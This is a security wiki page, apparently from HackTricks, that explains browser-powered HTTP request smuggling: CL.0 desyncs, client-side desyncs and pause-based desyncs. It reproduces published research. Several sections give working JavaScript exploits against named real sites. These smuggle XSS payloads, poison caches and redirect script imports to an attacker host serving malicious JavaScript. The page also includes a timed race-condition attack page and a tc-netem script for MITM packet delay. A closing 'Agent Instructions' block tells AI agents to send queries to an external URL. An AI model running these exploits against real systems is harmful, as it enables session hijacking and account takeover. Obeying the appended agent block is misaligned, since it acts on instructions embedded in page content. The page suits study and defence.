# Browser HTTP Request Smuggling

<details>

<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>

## CL.0/H2.0 browser-compatible desync

This vulnerability occurs when the **Content Length** (CL) header is being completely **ignored** by the **backend server**. Then, the back-end treats the **body** as the **start of the second request's method**. Ignoring the CL is equivalent to treating it as having a value of 0, so this is a CL.0 desync - a [known](https://i.blackhat.com/USA-20/Wednesday/us-20-Klein-HTTP-Request-Smuggling-In-2020-New-Variants-New-Defenses-And-New-Challenges.pdf) but lesser-explored attack class.

![](https://github.com/nirugima/hacktricks/blob/main/.gitbook/assets/image%20\(3\)%20\(1\)%20\(2\).png)

The attack was possible because the back-end server simply **wasn't expecting a POST request**.

{% hint style="warning" %}
Note that this vulnerability is being **triggered** by a completely **valid**, specification-compliant **HTTP request**. This meant the **front-end has zero chance of protecting** against it, and it could even be triggered by a browser.
{% endhint %}

The only **difference** between **CL.0** and **H2.0** is that the second one is using **HTTP2** (which has an implicit content-length header) but the **backend isn't using that either**.

## Client-Side Desync

Traditional desync attacks **poison** the **connection** between a **front-end and back-end** server, and are therefore impossible on websites that don't use a front-end/back-end architecture. These are **server-side desync** from now on. Most **server-side desyncs** can only be triggered by a **custom HTTP client issuing a malformed request.**

The ability for a **browser to cause a desync** enables a whole new class of threat called **client-side desync** (CSD).\
A CSD attack starts with the **victim visiting the attacker's website**, which then makes their browser send **two cross-domain requests to the vulnerable website**. The **first** request is crafted to **desync the browser's connection** and make the **second request trigger** a harmful response, typically giving the attacker control of the victim's account.

### Detect

A CSD vector is a HTTP request with **two** **key** properties.

First, the **server must ignore the request's Content-Length (CL)**. This typically happens because the request either **triggered a server error**, or the server simply **wasn't expecting a POST request** to the chosen endpoint. Try targeting **static files** and **server-level redirects**, and triggering errors via **overlong-URLs**, and **semi-malformed** ones like /%2e%2e.

Secondly, the request must be **triggerable in a web-browser cross-domain**. Browsers severely restrict control over cross-domain requests, so you have limited control over headers, and if your request has a body you'll need to use the HTTP POST method. Ultimately you only **control** the **URL**, plus a few odds and ends like the **Referer header**, the **body**, and **latter part of the Content-Type.**

#### CL ignore testing

The way to test this missconfig is to **send 2 requests and smuggle one** in the **middle**. If the **smuggled** connection **affected** the response of the **second** **request**, it means that it's **vulnerable**:

![](https://github.com/nirugima/hacktricks/blob/main/.gitbook/assets/image%20\(1\)%20\(2\)%20\(2\)%20\(1\).png)

{% hint style="warning" %}
Note that you **cannot** test this vuln by just sending a **Content-Length bigger** than the one sent and **looking for a timeout** because some servers **respond** even if they **didn't receive the whole body**.
{% endhint %}

It's important to note whether the **target website supports HTTP**/2. CSD attacks typically exploit HTTP/1.1 connection reuse and web **browsers prefer to use HTTP/2** whenever possible, so if the target **website supports HTTP/2 your attacks are unlikely to work**. There's one **exception**; some **forward proxies don't support HTTP/2** so you can exploit anyone using them. This includes corporate proxies, certain intrusive VPNs and even some security tools.

### Confirm

First, select a site to launch the attack from. This site must be **accessed over HTTPS** and located on a **different domain than the target**.

Next, ensure that you **don't have a proxy configured**, then browse to your attack site. Open the **developer tools** and switch to the **Network tab**. To help with debugging potential issues later, I recommend making the following adjustments:

* Select the **"Preserve log"** checkbox.
* Right-click on the column headers and **enable the "Connection ID" column**.

Switch to the developer console and execute JavaScript to replicate your attack sequence using fetch(). This may look something like:

```javascript
fetch('https://example.com/', {
  method: 'POST',
     body: "GET /hopefully404 HTTP/1.1\r\nX: Y", // malicious prefix
     mode: 'no-cors', // ensure connection ID is visible
     credentials: 'include' // poison 'with-cookies' pool
}).then(() => {
     location = 'https://example.com/' // use the poisoned connection
})
```

I've set the fetch mode **'no-cors'** to ensure Chrome **displays the connection ID** in the Network tab. I've also set **credentials: 'include'** as Chrome has [**two separate connection pools**](https://www.chromium.org/developers/design-documents/network-stack/preconnect) - one for requests with cookies and one for requests without. You'll usually want to exploit **navigations**, and those **use the 'with-cookies' pool**, so it's worth getting into the habit of always poisoning that pool.

When you execute this, you should see **two requests** in the Network tab with the **same connection ID**, and the **second** one should trigger a **404**:

![](https://github.com/nirugima/hacktricks/blob/main/.gitbook/assets/image%20\(158\)%20\(2\).png)

If this works as expected, congratulations - you've found yourself a client-side desync!

### Exploitation - Store

One option is to identify functionality on the target site that lets you **store text data**, and craft the prefix so that your victim's cookies, authentication headers, or password end up being **stored somewhere you can retrieve them**. This attack flow works [almost identically to server-side request smuggling](https://portswigger.net/web-security/request-smuggling/exploiting#capturing-other-users-requests), so I won't dwell on it.

### Exploitation - **Chain\&pivot**

Under normal circumstances, many classes of **server-side attack** can only be launched by an attacker with direct access to the target website as they **rely on HTTP requests that browsers refuse to send**, like **tampering** with **HTTP headers** - web cache poisoning, most server-side request smuggling, host-header attacks, User-Agent based [SQLi](https://portswigger.net/web-security/sql-injection), CSRF JSON Content-type and numerous others.

The simplest path to a successful attack came from two key techniques usually used for server-side desync attacks: [**JavaScript resource poisoning via Host-header redirects**](https://portswigger.net/web-security/request-smuggling/exploiting#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect), and using the [**HEAD method**](https://portswigger.net/web-security/request-smuggling/advanced/request-tunnelling#non-blind-request-tunnelling-using-head) to splice together a response with harmful HTML. Both techniques needed to be **adapted** to overcome some novel challenges associated with operating in the **victim's browser**.

## Exploit Examples

### Stacked HEAD example

* **Coloured exploit**

![](https://github.com/nirugima/hacktricks/blob/main/.gitbook/assets/image%20\(2\)%20\(3\).png)

* **JS exploit**

```javascript
fetch('https://www.capitalone.ca/assets', {
    method: 'POST',
    // use a cache-buster to delay the response
    body: `HEAD /404/?cb=${Date.now()} HTTP/1.1\r\nHost: www.capitalone.ca\r\n\r\nGET /x?x=<script>alert(1)</script> HTTP/1.1\r\nX: Y`,
    credentials: 'include',
    mode: 'cors' // throw an error instead of following redirect
}).catch(() => {
    location = 'https://www.capitalone.ca/'
})va
```

Explanation:

* **Abuse of CL.0** in /assets (it redirects to /assets/ and doesn't check the CL)
* **Smuggle** a **HEAD** request (because HEAD responses still contains a content-length)
* **Smuggle** a **GET** request whose **content** is going be **reflected** in the response with the payload.
  * Because of the **content-length of the HEAD** req, the **response** of this request will be the **body of the HEAD req**
* Set **cors mode**. Normally this isn't done, but in this case the **response** of the server to de **initial** **POST** is a **redirect** that if **followed** the **exploit won't work**. Therefore, **cors mode** is used to **trigger** an **error** and **redirect** the victim with the **`catch`**.

### **Host header redirect + client-side cache poisoning**

* **JS exploit**

```javascript
fetch('https://redacted/', {
    method: 'POST',
    body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y",
    credentials: 'include'}
).catch(() => { location='https://redacted/+CSCOE+/win.js' })
```

* A request to `/+webvpn+/` with a **different domain in the Host header** is answered with a **redirect** to `/+webvpn+/index.html` to that **domain** inside the Host header.
* The location in the **second** request is set to `/+CSCOE+/win.js` in order to **poison** the **cache** of that `.js` file.
  * This request will be answered with the redirect of `/+webvpn+/` to the attackers domain with path`/+webvpn+/index.html`
* The **cache** of **`win.js`** will be **poisoned** with a **redirect** to the **attackers** page, but also the **victim** will **follow** the redirect as it was assigned in the `location` variable and will end in the attackers web page.
* The attacker will then **redirect** the **victim** to `https://redacted/+CSCOE+/logon.html`. This page will import `/+CSCOE+/win.js`. Whose **cache is a redirect** to the **attackers** server, therefore, the attacker can **respond with a malicious JS**.

The **victim** will **access** the page of the **attacker** **twice**, the first one it **expects a HTML** that redirect the victim back to `https://redacted/+CSCOE+/logon.html` and the second one it **expects javascript code** (the payload). A polyglot can be used to serve both responses in just one:

```
HTTP/1.1 200 OK
Content-Type: text/html

alert('oh dear')/*<script>location = 'https://redacted/+CSCOE+/logon.html'</script>*/
```

### HEAD payload with chunked TE

When looking for CSD you can also **test semi-malformed** URLs like `/..%2f` or `/%2f`.

* **Coloured Exploit**

![](https://github.com/nirugima/hacktricks/blob/main/.gitbook/assets/image%20\(5\)%20\(2\)%20\(1\).png)

* **JS Exploit**

```javascript
fetch('https://www.verisign.com/%2f', { 
    method: 'POST',
    body: `HEAD /assets/languagefiles/AZE.html HTTP/1.1\r\nHost: www.verisign.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n34d\r\nx`, 
    credentials: 'include',
    headers: {'Content-Type': 'application/x-www-form-urlencoded'
}}).catch(() => {
    let form = document.createElement('form')
    form.method = 'POST'
    form.action = 'https://www.verisign.com/robots.txt'
    form.enctype = 'text/plain'
    let input = document.createElement('input')
    input.name = '0\r\n\r\nGET /<svg/onload=alert(1)> HTTP/1.1\r\nHost: www.verisign.com\r\n\r\nGET /?aaaaaaaaaaaaaaa HTTP/1.1\r\nHost: www.verisign.com\r\n\r\n'
    input.value = ''
    form.appendChild(input)
    document.body.appendChild(form)
    form.submit()
}
```

* The page **`/%2f`** is accessed to **exploit** the **CL.0** vulnerability.
* A **HEAD** request is smuggled using a **`Transfer-Encoding: chunked` header**.
  * This header is needed in this scenario because otherwise the **server refused to accept a HEAD request with a body**.
* Then, the user sends a POST whose body contains the **end chunk of the the previous HEAD** request and a **new request that is smuggled** with **content** (the JS payload) that will be **reflected** in the response.
  * Therefore the browser will treat the **response to the HEAD** request as the **response to the POST request** which will also **contains** in the **body** response that **reflects** the **input** of the user in the second smuggled request.

### Host header redirect + RC

* **JS Exploit**

```html
<script>
    function reset() {
        fetch('https://vpn.redacted/robots.txt', 
            {mode: 'no-cors', credentials: 'include'}
        ).then(() => {
            x.location = "https://vpn.redacted/dana-na/meeting/meeting_testjs.cgi?cb="+Date.now()
        })
        setTimeout(poison, 120) // worked on 140. went down to 110
    }

    function poison(){
        sendPoison()
        sendPoison()
        sendPoison()
        setTimeout(reset, 1000)
    }

    function sendPoison(){
        fetch('https://vpn.redacted/dana-na/css/ds_1234cb049586a32ce264fd67d524d7271e4affc0e377d7aede9db4be17f57fc1.css', 
            {
                method: 'POST',
                body: "GET /xdana-na/imgs/footerbg.gif HTTP/1.1\r\nHost: x.psres.net\r\nFoo: '+'a'.repeat(9826)+'\r\nConnection: keep-alive\r\n\r\n",
                mode: 'no-cors', 
                credentials: 'include'
            }
        )
    }

</script>
<a onclick="x = window.open('about:blank'); reset()">Start attack</a>
```

In this case, again, there is a **host header** **redirect** that could be used to **hijack** a **JS** import. However, this time the **redirect isn't cacheable**, so client-side **cache** **poisoning** isn't an option.

Therefore, the attack performed will make the **victim access the vulnerable page** in a tab and then, just **before** the page tries to **load a JS** file, **poison** the socket **smuggling connections** (3 in this case).\
Because the **timing** has to be extremely **precise**, the attack is performed against a **new tab on each iteration** until it works.

{% hint style="warning" %}
Keep in mind that in this case `/meeting_testjs.cgi` was attacked because it **loads** a **Javascript** that is responding with a **404**, so it's not cached. In other scenarios where you try to attack a **JS that is cached** you need to wait for it to **disappear from the cache** before launching a new attack.
{% endhint %}

Summary steps:

* Open a new window.
* Issue a harmless request to the target to establish a fresh connection, making timings more consistent.
* Navigate the window to the target page at /meeting\_testjs.cgi.
* 120ms later, create three poisoned connections using the redirect gadget.
* 5ms later, while rendering /meeting\_testjs.cgi the victim will hopefully attempt to import /appletRedirect.js and get redirected to x.psres.net, which serves up malicious JS.
* If not, retry the attack.

## Pause-based desync <a href="#pause" id="pause"></a>

Pausing can also create new desync vulnerabilities by **triggering misguided request-timeout implementations**.

So, an attacker might send a request with **headers indicating that there is a body**, and then **wait** for the **front-end to timeout before sending the body**. If the front-end times out but **leaves the connection open**, the **body** of that request will be **treated as a new request**.

### Example: **Varnish**

Varnish cache has a feature called `synth()`, which lets you issue a **response without forwarding** the request to the back-end. Here's an example rule being used to block access to a folder:

```javascript
if (req.url ~ "^/admin") {
    return (synth(403, "Forbidden"));
}
```

When processing a **partial request** that matches a synth rule, Varnish will **time out** if it receives no data for **15 seconds**. When this happens, it **leaves the connection open** for reuse even though it has only read half the request off the socket. This means that if the **client follows up with the second half** of the HTTP request, it will be interpreted as a **fresh request**.

To trigger a pause-based desync on a vulnerable front-end, start by sending your headers, promising a body, and then just wait. Eventually you'll receive a response and when you finally send send your request body, it'll be interpreted as a new request:

![](https://github.com/nirugima/hacktricks/blob/main/.gitbook/assets/image%20\(4\)%20\(3\)%20\(1\).png)

{% hint style="warning" %}
Apparently this was patched on the 25th January as [CVE-2022-23959](https://varnish-cache.org/security/VSV00008.html).
{% endhint %}

### Example: **Apache**

Just like Varnish, it's vulnerable on **endpoints where the server generates the response itself** rather than letting the application handle the request. One way this happens is with server-level redirects: `Redirect 301 / /en`

### Server-side Exploitation <a href="#server" id="server"></a>

If the vulnerable server (Apache or Varnish in this case) is in the back-end, a **front-end** that **streams the request to the back-end** server (http headers in this case) **without buffering** the entire request body is needed.

![](https://github.com/nirugima/hacktricks/blob/main/.gitbook/assets/image%20\(3\)%20\(3\).png)

In this case the attacker **won't receive the response timeout until he has send the body**. But if he knows the timeout this shouldn't be a problem.

Amazon's Application Load Balancer (ALB) will **stream the data of the connection as needed**, but if it **receives** the **response** to the half request (the timeout) **before** receiving the **body**, it **won't send the body**, so a **Race Condition** must be exploited here:

<figure><img src="https://github.com/nirugima/hacktricks/blob/main/.gitbook/assets/image%20(1)%20(1)%20(2).png" alt=""><figcaption></figcaption></figure>

There's an additional complication when it comes to **exploiting Apache behind ALB** - **both servers** have a default **timeout of 60 seconds**. This leaves an **extremely small time-window** to send the second part of the request. The RC attack was ultimately successful after 66 hours.

### MITM Exploitation

It's apparently **not possible to stop a request from the browser** in order to exploit a Pause-desync vulnerability. However, you could always **perform a MITM attack to pause a request** sent by the browser. Notice that this attack **doesn't rely on decrypting** any traffic.

The attack flow is very **similar to a regular client-side desync attack**. The user visits an attacker-controlled page, which issues a series of **cross-domain requests** to the target application. The **first HTTP** request is deliberately padded to be so **large** that the operating system **splits it into multiple TCP packets**, enabling an active **MITM to delay the final packet**, triggering a pause-based desync. Due to the padding, the **attacker** can **identify** which **packet to pause** simply based on the **size**.

From the client-side it looks like a regular client-side desync using the HEAD gadget, aside from the request padding:

```javascript
let form = document.createElement('form')
form.method = 'POST'
form.enctype = 'text/plain'
form.action = 'https://x.psres.net:6082/redirect?'+"h".repeat(600)+ Date.now()
let input = document.createElement('input')
input.name = "HEAD / HTTP/1.1\r\nHost: x\r\n\r\nGET /redirect?<script>alert(document.domain)</script> HTTP/1.1\r\nHost: x\r\nFoo: bar"+"\r\n\r\n".repeat(1700)+"x"
input.value = "x"
form.append(input)
document.body.appendChild(form)
form.submit()
```

On the attacker system performing the blind MITM, the delay was implemented using tc-NetEm:

```bash
# Setup
tc qdisc add dev eth0 root handle 1: prio priomap

# Flag packets to 34.255.5.242 that are between 700 and 1300 bytes
tc filter add dev eth0 protocol ip parent 1:0 prio 1 basic \
match 'u32(u32 0x22ff05f2 0xffffffff at 16)' \
and 'cmp(u16 at 2 layer network gt 0x02bc)' \
and 'cmp(u16 at 2 layer network lt 0x0514)' \
flowid 1:3

# Delay flagged packets by 61 seconds
tc qdisc add dev eth0 parent 1:3 handle 10: netem delay 61s
```

## **References**

* All the information of this post was taken from <https://portswigger.net/research/browser-powered-desync-attacks>

<details>

<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://breached.gitbook.io/dashboard/pentesting-web/http-request-smuggling/browser-http-request-smuggling.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
